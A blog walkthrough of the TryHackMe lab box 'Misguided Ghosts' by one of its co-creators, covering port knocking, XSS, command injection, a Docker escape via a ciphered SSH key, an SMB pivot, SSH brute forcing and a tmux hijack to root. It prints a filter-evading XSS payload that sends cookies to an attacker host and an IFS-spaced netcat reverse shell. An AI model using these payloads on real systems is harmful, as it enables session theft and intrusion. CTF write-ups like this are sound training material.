bobloblaw321

Aug 28, 20207 min read

TryHackMe - Misguided Ghosts

Updated: Mar 13, 2021

This post will detail the intended path to root the box Misguided Ghosts on TryHackMe:

https://tryhackme.com/room/misguidedghosts

This room was co-created by JakeDoesSec and myself and was a ton of fun!

If you're more of a visual learner, jake has his walkthrough here, go ahead and check that out!

The IP changes throughout my pictures, yours will stay the same.

Scanning and Enumeration

As always, we begin with enumerating the machine ports and services. I use my personal script to obtain the ports with Threader3000 and then scan the open ones with nmap (although I believe the latest Threader3000 now feeds the open ports into nmap for you)

nmap -T4 {ip} -p21,22 -A -Pn

Port 22 - ssh

Even though ssh is open, I leave that alone for now as I probably won't be able to exploit it.

Port 21 - ftp

The only other port open on the machine is a port hosting FTP, which is also allowing anonymous login. Logging in anonymously we see this:

ftp {ip}
prompt off
mget *.*

Once we are logged in anonymously, we can see there are 3 files inside, so I grab all 3 to take a closer look. Starting with the jokes file we get this:

Largely useless, I figure this might be hinting that we need to port knock to proceed on this box.

Looking at the next file, info.txt:

It seems this note is for anyone trying to gain access to the box, and it's telling us that all the information we need is held in the pcap file.

Finally, we can inspect the pcap file, which by this point we should assume contains information about how to proceed:

From what we've gathered before, I'm already looking for information needed to possibly port knock. Even if you didn't gather that information earlier, then something that should largely stand out as soon as you open the pcap is the red lines. If we filter by those red lines using the IP address (192.168.236.131) we can then see this:

Looking at only the packets that were sent from the 131 address to 128 and inspecting the ports, we can get the following port sequence: 7864 8273 9241 12007 60753.

Following that logic I port knock on the target machine:

knock {ip} [space separated port sequence]

After knocking a few times (knock doesn't consistently send the packets in order, so I do it a few times to be safe. To be safer you can do it with nmap or ping or some other method where you send each packet one by one) I rescan the machine to see if anything has opened up:

And we now have port 8080 open!

Vulnerable WebApp

Navigating out to the newly opened port on 8080 we are greeted with this:

If we look a bit closer at the nmap scan, we can see that the site is actually using ssl, so we need to prepend "https" when navigating to it:

With that, we're greeted with a home page. Nothing useful seems to be on it or in the source code, so the next step is to directory bust:

gobuster dir -t 50 -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.85.153:8080 -k 2>/dev/null

Using gobuster (with the -k flag to ignore ssl verification) we see that there's a login page:

Again, we have no information to go off of, so really the only possible thing we might gain information from is the certificate itself:

If we check out the details about the issuer we see that it was issued by 'zac'. Seeing that that is the only information we can gather from this I take a stab at logging in as 'zac' and actually manage to with the credentials zac:zac (This is, technically brute force-able as that password is in rockyou).

Now that I'm logged in, the first thing I notice is the message about an admin checking every 2 minutes. This leads me to believe there's most likely some vulnerability that will allow me to steal that admin's cookie. Trying some usual XSS we see that some stuff is filtered, like script tags and less than and greater than symbols, and that there was an XSS bounty at one point:

This site is probably vulnerable to XSS if there was an XSS bounty at some point. Testing out some common filter evasion techniques and lots of trial and error I finally arrive at this payload which allows me some reflective XSS:

&lt;sscriptcript&gt;alert('hi')&lt;/sscriptscript&gt;

Now that we know the site is vulnerable to reflective XSS, let's next check if it's vulnerable to some stored XSS, with the idea being we will steal the admin's (who is visiting the page every 2 minutes) cookie:

&lt;sscriptcript&gt;var i = new Image(); i.src = "http://10.9.1.161:8000/" + document.cookie;&lt;/sscriptcript&gt;

Success! We were able to inject some stored XSS on the webpage and have it communicate with a web server we set up. Now that our POC is set up, the goal is to steal the cookie of the admin, who will supposedly visit the webpage. If we wait around we should have the admin visit within 2 minutes since the payload we stored on the server will display anyone's cookie who visits the page:

And voila! So now we have the admin cookie. Replacing the cookie in browser with the admin cookie I don't see anything new or different, so I fuzz for subdirectories again:

gobuster dir -t 50 -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.85.153:8080 -c "login={admin_cookie}" -k 2>/dev/null

Something new is indeed available to us unlike before:

Visiting that new subdirectory that we have access to, we see it's an uploader of some sort:

Attempting to upload something random, I receive an error, indicating it cannot be found:

This is the same error on a standard linux system that one would receive if they try to `ls` a nonexistent directory:

Knowing this, I try to put a query in the url bar that will be valid for an `ls` command:

Awesome! Now we know we have a remote code execution vulnerability! Let's try to add a new command in there:

Awesome, so now let's try to get a reverse shell:

We have an issue with our command... It doesn't seem to like our new command and something interesting is that it seems to be filtering out the spaces. So, instead, let's try using the `${IFS}` space delimiter. This reverse shell needs to be a shell that can use IFS throughout it. Python won't work because the quotes will interpret it literally. So, instead, let's try a netcat reverse shell:

image=.;nc${IFS}10.9.1.161${IFS}4444${IFS}-e${IFS}/bin/sh

After setting up our listener and running our query we gain a reverse shell!

Docker Escape

Once we have our reverse shell, the first thing I notice is all the docker documentation, telling us we're in a docker container. Looking around the docker container, I find Zac's directory, which contains an rsa private key and a note:

Based off the note left behind, I'm led to believe the key has been ciphered with a vigenere cipher. I was able to determine this by researching 'cipher with key' as was given to us in the note:

We now know it's reversible by finding the proper key. After researching different rsa private keys on Google, I notice that they all have the same header:

I'm only showing one to save space, but if you research further you will see all RSA Private Keys begin with 'MII'. The header is actually longer than this, but depending on the version of RSA key it may differ a bit, so we can go with that shortened header to be sure. Vigenere ciphers are 1-to-1 matches for each character so we can match the first 3 characters of the ciphered RSA key with the 3 of the known RSA key header to brute force the cipher's key.

What I just attempted to explain is called a known plaintext attack. Now, as you're about to see, I created and use a tool to decode the RSA cipher, but it can, in fact, be done by hand.

Now, using this information, I created a brute force tool to try to decode the ciphered RSA key with different vigenere keys, until the header matched with what I found online:

To do it manually, we can grab a longer header, like from that first google search image:

If you create rsa keys repeatedly on your local machine, you will see that the header is actually 16 characters. Knowing this, we can then decode the key manually. As you can see, when you put a nonsense key that is incorrect, the ciphered text is still ciphered:

But you can brute force the first character of the key until the first character of the decoded is the correct 'M', which we see when the key starts with a 'b'.

Repeating this with the second character we see that a 'u' as the second character of the key gives an 'MI' as the decoded text, which is correct as to what we found for the plaintext RSA key.

This process can be continued until the entire key is found.

Now that we have the vigenere key we can decode the RSA key:

I put the decoded key in a new file and format it correctly and fix the permissions on my local attacker machine (600):

Using the decoded rsa key for the user "Zac", I am now able to ssh into the target machine:

Pivot to User & Flag Retrieval

Once on the machine as Zac, we don't yet have the permission to read the user flag. So we need to pivot to a different user . The only other user on the machine is 'Hayley'.

Doing some manual enumeration, one thing I notice is that there is an internal port 139 open on the machine, as well as port 445:

This indicates that there's an internally facing SMB client being run. To access the share being hosted on there I set up a port forward from my attacker machine:

sudo ssh -L 445:localhost:445 zac@{ip} -i id_rsa

Once I have the SMB service forwarded to my local machine, I enumerate and find there's another note as well as a list of what appear to be passwords:

Brute forcing SSH with these passwords on Hayley's account we are successful!

medusa -h {ip} -u hayley -P passwords.bak -M ssh

We can now log in and read the user flag:

Privilege Escalation to Root

Once we are on the box as hayley, we again should do some manual enumeration and looking around. In the process of this, we see there's an interesting process running:

ps aux

Doing some research, I was able to find that if this tmux session is attached to a socket that the user has write privileges to, we will be able to hijack the session. Checking the permissions, we see that the group that owns the socket has read/write permissions to it. My current user, hayley, is part of the group Paramore!

Using this information, we can hijack the tmux session:

tmux -S .details

Checking our privileges inside the tmux session we just hijacked:

We are now root and can retrieve the root flag!

Bonus

That's all for now, Jake and I hope you had fun completing this box. It wasn't easy, so congrats if you made it through!

If there are any questions or feedback at all on either the walkthrough, the box itself, or anything at all, feel free to reach out to me or Jake on the THM website or their discord under the names B10b#9228 and @jakeyee#3919

That's it! Thanks for reading :)